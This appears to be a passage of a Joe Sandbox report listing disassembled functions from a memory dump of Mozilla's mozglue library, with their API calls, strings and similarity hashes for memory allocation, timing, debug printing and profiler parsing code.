?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96D6A6
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D712
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96D7EA

Strings

<jemalloc>, xrefs: 6C96D827
: (malloc) Error initializing arena, xrefs: 6C96D82C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: aa0799d8dd77bf2619a04e42c3eaf18dde6909b4fdcc98bcd27cbf1114175fc4
Instruction ID: 595cecfc4d29e0d5e4664601ca41cfdc610330e5512e11d1dfac02f0d7e05e6d
Opcode Fuzzy Hash: aa0799d8dd77bf2619a04e42c3eaf18dde6909b4fdcc98bcd27cbf1114175fc4
Instruction Fuzzy Hash: 4591C472A087418FE714CF29C59076AB7E5EB99714F24892EE56AC7FC1D730E844CB82

Function 6C965E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2
memset.VCRUNTIME140(6C9A7765,000000E5,9CC09015), ref: 6C9661F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C967652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C96730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C967BCD, 6C967C1F, 6C967C34, 6C9680FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9672E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9672F8
MOZ_CRASH(), xrefs: 6C967BA4

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 5de5e060bcc47d1668061e499a341a7a5420e03f1ab866476107f93855a1f066
Instruction ID: fc3b70be32027a0d6bf19da5f2ee08542115ed3e5b0a51ff5d27c391d094623f
Opcode Fuzzy Hash: 5de5e060bcc47d1668061e499a341a7a5420e03f1ab866476107f93855a1f066
Instruction Fuzzy Hash: 57335D716057018FE308CF2AC590615BBE6BF85328F29C7ADE9698BBE5D731E841CB41

Function 6C943480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C943492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C9434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C9434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C94350E
__Init_thread_footer.LIBCMT ref: 6C943522
__aulldiv.LIBCMT ref: 6C943552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C94357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C943592

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C943508
kernel32.dll, xrefs: 6C9434EA

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 206992b57583fde67249a53852889b0ecd5b042c8a50f32a8fa0ad8f8cf302f1
Instruction ID: 658242ecdd176828683d039a8c5fdbb27d172285e73547b840caa84e178b6f65
Opcode Fuzzy Hash: 206992b57583fde67249a53852889b0ecd5b042c8a50f32a8fa0ad8f8cf302f1
Instruction Fuzzy Hash: CB31C271B052099BDF14DFB9C948AAE77B9FB46708F204019E505E3750DB30EA04CFA1

Function 6C9A4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9A4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4F2E
moz_xmalloc.MOZGLUE ref: 6C9A4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9A4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A52E6
Sleep.KERNEL32(00000010), ref: 6C9A5481
free.MOZGLUE(?), ref: 6C9A5498

Strings

(, xrefs: 6C9A5250

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 4bfc3bf91a5661f3d7352e23720fee29dcc22118a24bcbd43d8a10e22a28c8ce
Instruction ID: b671645ac6c6d010824915ebcfb857031251344ea1c4014197e2f97df44508f9
Opcode Fuzzy Hash: 4bfc3bf91a5661f3d7352e23720fee29dcc22118a24bcbd43d8a10e22a28c8ce
Instruction Fuzzy Hash: 32F1B172A18B408FC716CF39C85062BB7F9AFD6384F15872EF846A7651DB31D9428B81

Function 6C957810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C957885
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C9578A5
EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C9578AD
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C9578CD
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9578D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9578E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C95795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9579BB
LeaveCriticalSection.KERNEL32(?), ref: 6C957BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C957C82
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C957CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C957DAF

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 86eb523df4557e78585c9df969d0e716af35baa5f34459ff26939b4a86802d12
Instruction ID: afece7e99ce0fe6ac8f438257c0399d14246dfb2947dabb0da7373610a82568a
Opcode Fuzzy Hash: 86eb523df4557e78585c9df969d0e716af35baa5f34459ff26939b4a86802d12
Instruction Fuzzy Hash: 4A028271E152198FDB54CF19C984799B7B9FF88318F6582AAD809A7701D730EEA0CF80

Function 6C9A5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9A6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9A6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C94EE51,?), ref: 6C9A6046
OutputDebugStringA.KERNEL32(?,6C94EE51,?), ref: 6C9A6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9C148E), ref: 6C9A6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C94EE51,00000000,?), ref: 6C9A60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A60C4

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 13e732cfafc1b18f24ffd0a716bd3a70c24d505d54097ce5ec652b5b2914dfbe
Instruction ID: 4dd94499fec1b409f270403d82ab45bb70c1550e72d6ff113a36ed7cffe589d7
Opcode Fuzzy Hash: 13e732cfafc1b18f24ffd0a716bd3a70c24d505d54097ce5ec652b5b2914dfbe
Instruction Fuzzy Hash: 2721A371A002189FDF206F69DC09AAA7BBCFF45618F108428E85A97741CB74E659CFE1

Function 6C9A7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9A7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9A7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A707E

Part of subcall function 6C9581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9581DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9A709C
LocalFree.KERNEL32(?), ref: 6C9A70AA

Strings

### ERROR: %s: %s, xrefs: 6C9A7087
(null), xrefs: 6C9A706A, 6C9A7083

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 101d97314d40155e6a06d645d8cb8db337e37e87fb4cdc20903802f296125442
Instruction ID: c07aa85f9f70c562d6729f558049f495d7df003ff87d0423339ac72f960c0a36
Opcode Fuzzy Hash: 101d97314d40155e6a06d645d8cb8db337e37e87fb4cdc20903802f296125442
Instruction Fuzzy Hash: 1B012DB1F00108AFDB00AB64DC0ADAF7BBCEF49255F110034FA05E3241D631AA18CBE2

Function 6C969E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C969EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C969F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C969F34
LeaveCriticalSection.KERNEL32(?), ref: 6C96A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96A8B1, 6C96A8D4, 6C96A8EF

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 028f1df094d40a60a9f072ce204cc51807c87eab59798b8ca66c759f664d905e
Instruction ID: adbf9369b05b9c41c1b9fd36e4a19e720fc5a37d5132c683f832ca868a6faf99
Opcode Fuzzy Hash: 028f1df094d40a60a9f072ce204cc51807c87eab59798b8ca66c759f664d905e
Instruction Fuzzy Hash: 94727072A057218FE304CF29C540615FBE5BF85728F2AC6ADE8699BBD1D735E841CB80

Function 6C992C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C992C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C992C61

Part of subcall function 6C944DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
Part of subcall function 6C944DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C992C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C992E2D

Part of subcall function 6C9581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9581DE

Strings

expected a Time entry, xrefs: 6C992E36
(root), xrefs: 6C99354F
ProfileBuffer parse error: %s, xrefs: 6C992E3B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: fad4c57264d162cc07fa4d299c56bbfc6c24ddaa397d217181a5db4e14fb0813
Instruction ID: 20b4076bd7bda4e08e658b9e1cd7d79bf017def25160b5e080302b5ee37ff56d
Opcode Fuzzy Hash: fad4c57264d162cc07fa4d299c56bbfc6c24ddaa397d217181a5db4e14fb0813
Instruction Fuzzy Hash: 2591DFB06087808FC724CF24C48469FB7E4AFD9358F58492DE59A9BB50EB30D949CB53

Function 6C96C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C96C317
MOZ_CRASH(), xrefs: 6C96D4BB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: f83417d2bbfac6ee70b464bde9972dc8a5b828c86acbd940808f62fc8a6ad9a1
Instruction ID: 188be837240f2aa821b7fc2f8e64dbfceecf64f8676e88862615f04f691cb4d8
Opcode Fuzzy Hash: f83417d2bbfac6ee70b464bde9972dc8a5b828c86acbd940808f62fc8a6ad9a1
Instruction Fuzzy Hash: 0852C1716093418FEB24CF19C49076AB7E6EB86318F24891EE8E687FD1D735D845CB82

Function 6C9A9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9A9F3D
__aulldiv.LIBCMT ref: 6C9A9F77
__aullrem.LIBCMT ref: 6C9A9F8C
__aulldiv.LIBCMT ref: 6C9AA023

Strings

-Infinity, xrefs: 6C9A9E60, 6C9A9E7B
NaN, xrefs: 6C9A9EAB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: bdc7237ab3a8056b1f604f2b1cea139504c4bca6901b9bda54995db4e8c30749
Instruction ID: 1095a29ed3e8c501a086e419920a3344df1bf0483561b2894f4099d96732d8a5
Opcode Fuzzy Hash: bdc7237ab3a8056b1f604f2b1cea139504c4bca6901b9bda54995db4e8c30749
Instruction Fuzzy Hash: D9C1AE31A003199BDB14CFE9C8907AEB7B6FB99304F544529D406ABB80DB71ED4ACF91

Function 6C94D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C94D852
1, xrefs: 6C94DBDD
@, xrefs: 6C94DAF6
8, xrefs: 6C94DC08
-, xrefs: 6C94D7DD
, xrefs: 6C94DA88
0, xrefs: 6C94DC7F
9, xrefs: 6C94DE7F

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 81c57f76366b648e1b38179f56547d5a921f843e1a9e398b983ddeb7a0fd53db
Instruction ID: dc22d6036671f49aad89a277af5215adff3d27a55920735c70c89b3acb7b2f0a
Opcode Fuzzy Hash: 81c57f76366b648e1b38179f56547d5a921f843e1a9e398b983ddeb7a0fd53db
Instruction Fuzzy Hash: E162DD7A60D3458FDB11CE28C09076EBBF6AF86358F188A4DE4D44BB91C335D985CB82

Function 6C959F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C95A3D8
@, xrefs: 6C95A625
9, xrefs: 6C95A5D6
0, xrefs: 6C95AB22
1, xrefs: 6C95A824
0, xrefs: 6C95A100

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 71815683765fa27794a3070835ad40d14d1f9c7be821df9a7b397901e77ff508
Instruction ID: 318ae69563dec544612c4663cfef3e759cd378da9a994400f9f35edcb99c3c62
Opcode Fuzzy Hash: 71815683765fa27794a3070835ad40d14d1f9c7be821df9a7b397901e77ff508
Instruction Fuzzy Hash: 1E82F2719093118FD700CF19C09027EB7F5FB85718FD5892AE8D547A90DB34E8A6CBAA

Function 6C94BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C94C1CB
__aulldiv.LIBCMT ref: 6C94C24C
__aulldiv.LIBCMT ref: 6C94C348
__aullrem.LIBCMT ref: 6C94C365
__aulldiv.LIBCMT ref: 6C94C37D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 92afd757b2283e8b1c221661f12766fb753b475a53821aa6fe8eb6822dd8fcff
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: DC321532B146129FCB18DE2CC890666BBE6AFD9310F09867DE895CB395D730ED05CB91

Function 6C9B545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9B8A4B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 89c030ee7b17fb9a3241e79f8d902ac8d3bce04912e662762684b80d94327b8b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D472E0121B9FDB14CF68CC907AAB7B6EF95314F1902A9C549EB781D730E985CB90

Function 6C9B542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9B88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9B925C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
